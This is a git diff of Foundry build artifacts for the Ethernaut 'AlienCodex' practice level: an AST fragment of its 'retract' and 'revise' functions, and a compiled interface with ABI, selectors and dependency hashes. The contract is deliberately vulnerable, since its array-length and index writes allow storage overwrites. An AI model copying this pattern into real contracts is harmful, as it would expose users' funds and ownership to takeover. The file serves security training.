ref"}},"id":218,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberName":"length","nodeType":"MemberAccess","referencedDeclaration":null,"src":"462:12:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":220,"nodeType":"ExpressionStatement","src":"462:14:2"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[{"arguments":null,"id":214,"modifierName":{"argumentTypes":null,"id":213,"name":"contacted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":189,"src":"442:9:2","typeDescriptions":{"typeIdentifier":"t_modifier$__$","typeString":"modifier ()"}},"nodeType":"ModifierInvocation","src":"442:9:2"}],"name":"retract","parameters":{"id":212,"nodeType":"ParameterList","parameters":[],"src":"432:2:2"},"returnParameters":{"id":215,"nodeType":"ParameterList","parameters":[],"src":"452:0:2"},"scope":239,"stateMutability":"nonpayable","superFunction":null,"visibility":"public"},{"id":238,"nodeType":"FunctionDefinition","src":"489:98:2","nodes":[],"body":{"id":237,"nodeType":"Block","src":"551:36:2","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":235,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":231,"name":"codex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":181,"src":"561:5:2","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}},"id":233,"indexExpression":{"argumentTypes":null,"id":232,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":224,"src":"567:1:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"561:8:2","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":234,"name":"_content","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":226,"src":"572:8:2","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"561:19:2","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":236,"nodeType":"ExpressionStatement","src":"561:19:2"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[{"arguments":null,"id":229,"modifierName":{"argumentTypes":null,"id":228,"name":"contacted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":189,"src":"541:9:2","typeDescriptions":{"typeIdentifier":"t_modifier$__$","typeString":"modifier ()"}},"nodeType":"ModifierInvocation","src":"541:9:2"}],"name":"revise","parameters":{"id":227,"nodeType":"ParameterList","parameters":[{"constant":false,"id":224,"name":"i","nodeType":"VariableDeclaration","scope":238,"src":"505:9:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":223,"name":"uint256","nodeType":"ElementaryTypeName","src":"505:7:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":226,"name":"_content","nodeType":"VariableDeclaration","scope":238,"src":"516:16:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":225,"name":"bytes32","nodeType":"ElementaryTypeName","src":"516:7:2","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":null,"visibility":"internal"}],"src":"504:29:2"},"returnParameters":{"id":230,"nodeType":"ParameterList","parameters":[],"src":"551:0:2"},"scope":239,"stateMutability":"nonpayable","superFunction":null,"visibility":"public"}],"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":175,"name":"Ownable","nodeType":"UserDefinedTypeName","referencedDeclaration":171,"src":"117:7:2","typeDescriptions":{"typeIdentifier":"t_contract$_Ownable_$171","typeString":"contract Ownable"}},"id":176,"nodeType":"InheritanceSpecifier","src":"117:7:2"}],"contractDependencies":[171],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[239,171],"name":"AlienCodex","scope":240}]},"id":2} \ No newline at end of file diff --git a/contracts/out/AlienCodex.t.sol/AlienCodex.json b/contracts/out/AlienCodex.t.sol/AlienCodex.json new file mode 100644 index 000000000..ba56019fa --- /dev/null +++ b/contracts/out/AlienCodex.t.sol/AlienCodex.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"makeContact","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"record","inputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"retract","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"revise","inputs":[{"name":"","type":"uint256","internalType":"uint256"},{"name":"","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"makeContact()":"328b52cb","record(bytes32)":"b5c645bd","retract()":"47f57b32","revise(uint256,bytes32)":"0339f300"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"makeContact\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"record\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"retract\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"revise\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/AlienCodex.t.sol\":\"AlienCodex\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/AlienCodex.t.sol\":{\"keccak256\":\"0xbe568b21e461ba20f7ed23eddd9094566d2bef8971a5a1492a9382dbd550bb56\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c4be1737b045b52bb1fcf3508efceae0197825804be7740ec24009694f051bbf\",\"dweb:/ipfs/QmS93Degcegdo9DXgpFvqmXGfRiwC3L1S9LdKxauwhRJZU\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"makeContact"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"record"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"retract"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"revise"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/AlienCodex.t.sol":"AlienCodex"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f